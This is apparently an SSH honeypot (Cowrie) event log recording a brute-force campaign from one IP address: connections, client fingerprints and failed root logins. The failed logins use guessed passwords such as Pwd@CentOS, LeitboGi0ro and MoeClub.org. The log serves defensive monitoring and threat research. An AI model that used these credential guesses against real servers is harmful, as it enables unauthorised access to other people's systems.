{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:01.649842Z","src_ip":"13.250.38.12","session":"65b70f82f5e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pwd@CentOS","message":"login attempt [root/Pwd@CentOS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:02.165512Z","src_ip":"13.250.38.12","session":"3561be225a44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pwd@CentOS","message":"login attempt [root/Pwd@CentOS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:02.410068Z","src_ip":"13.250.38.12","session":"65b70f82f5e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:02.541090Z","src_ip":"103.147.159.91","session":"b8070909f6e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:03.409933Z","src_ip":"13.250.38.12","session":"3561be225a44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":53246,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd405d219642","protocol":"ssh","message":"New connection: 13.250.38.12:53246 (159.203.135.109:22) [session: cd405d219642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:03.652124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:03.657604Z","src_ip":"13.250.38.12","session":"cd405d219642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:03.661614Z","src_ip":"13.250.38.12","session":"65b70f82f5e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":53252,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aef4fb4673c","protocol":"ssh","message":"New connection: 13.250.38.12:53252 (159.203.135.109:22) [session: 2aef4fb4673c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:03.889091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:03.893720Z","src_ip":"13.250.38.12","session":"2aef4fb4673c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:03.902230Z","src_ip":"13.250.38.12","session":"cd405d219642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:04.138046Z","src_ip":"13.250.38.12","session":"2aef4fb4673c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:04.630071Z","src_ip":"13.250.38.12","session":"cd405d219642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:04.865686Z","src_ip":"13.250.38.12","session":"2aef4fb4673c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:05.877065Z","src_ip":"13.250.38.12","session":"cd405d219642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:06.110196Z","src_ip":"13.250.38.12","session":"2aef4fb4673c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":53260,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc960cdf4576","protocol":"ssh","message":"New connection: 13.250.38.12:53260 (159.203.135.109:22) [session: bc960cdf4576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:06.118630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:06.123240Z","src_ip":"13.250.38.12","session":"bc960cdf4576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":53268,"dst_ip":"159.203.135.109","dst_port":22,"session":"9efd9a90e9a7","protocol":"ssh","message":"New connection: 13.250.38.12:53268 (159.203.135.109:22) [session: 9efd9a90e9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:06.350226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:06.359335Z","src_ip":"13.250.38.12","session":"9efd9a90e9a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:06.369027Z","src_ip":"13.250.38.12","session":"bc960cdf4576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:06.601291Z","src_ip":"13.250.38.12","session":"9efd9a90e9a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MoeClub.org","message":"login attempt [root/MoeClub.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:07.110399Z","src_ip":"13.250.38.12","session":"bc960cdf4576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MoeClub.org","message":"login attempt [root/MoeClub.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:07.370117Z","src_ip":"13.250.38.12","session":"9efd9a90e9a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:08.360116Z","src_ip":"13.250.38.12","session":"bc960cdf4576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":53274,"dst_ip":"159.203.135.109","dst_port":22,"session":"c85ae9255bc2","protocol":"ssh","message":"New connection: 13.250.38.12:53274 (159.203.135.109:22) [session: c85ae9255bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:08.597418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:08.602082Z","src_ip":"13.250.38.12","session":"c85ae9255bc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:08.614167Z","src_ip":"13.250.38.12","session":"9efd9a90e9a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:08.845351Z","src_ip":"13.250.38.12","session":"c85ae9255bc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":53284,"dst_ip":"159.203.135.109","dst_port":22,"session":"24acd8796ca6","protocol":"ssh","message":"New connection: 13.250.38.12:53284 (159.203.135.109:22) [session: 24acd8796ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:08.859570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:08.866287Z","src_ip":"13.250.38.12","session":"24acd8796ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:09.112964Z","src_ip":"13.250.38.12","session":"24acd8796ca6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Minijer.com","message":"login attempt [root/Minijer.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:09.778315Z","src_ip":"13.250.38.12","session":"c85ae9255bc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Minijer.com","message":"login attempt [root/Minijer.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:10.012784Z","src_ip":"13.250.38.12","session":"24acd8796ca6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:11.024953Z","src_ip":"13.250.38.12","session":"c85ae9255bc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:11.261647Z","src_ip":"13.250.38.12","session":"24acd8796ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":53296,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad603e688887","protocol":"ssh","message":"New connection: 13.250.38.12:53296 (159.203.135.109:22) [session: ad603e688887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:11.268698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:11.273323Z","src_ip":"13.250.38.12","session":"ad603e688887","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":53308,"dst_ip":"159.203.135.109","dst_port":22,"session":"32c90f3f3f58","protocol":"ssh","message":"New connection: 13.250.38.12:53308 (159.203.135.109:22) [session: 32c90f3f3f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:11.505266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:11.510871Z","src_ip":"13.250.38.12","session":"32c90f3f3f58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:11.518231Z","src_ip":"13.250.38.12","session":"ad603e688887","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:11.761957Z","src_ip":"13.250.38.12","session":"32c90f3f3f58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pwd@Linux","message":"login attempt [root/Pwd@Linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:12.266817Z","src_ip":"13.250.38.12","session":"ad603e688887","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pwd@Linux","message":"login attempt [root/Pwd@Linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:12.527533Z","src_ip":"13.250.38.12","session":"32c90f3f3f58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:13.514477Z","src_ip":"13.250.38.12","session":"ad603e688887","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":32950,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f621936f2a0","protocol":"ssh","message":"New connection: 13.250.38.12:32950 (159.203.135.109:22) [session: 3f621936f2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:13.743284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:13.752415Z","src_ip":"13.250.38.12","session":"3f621936f2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:13.776879Z","src_ip":"13.250.38.12","session":"32c90f3f3f58","protocol":"ssh"}
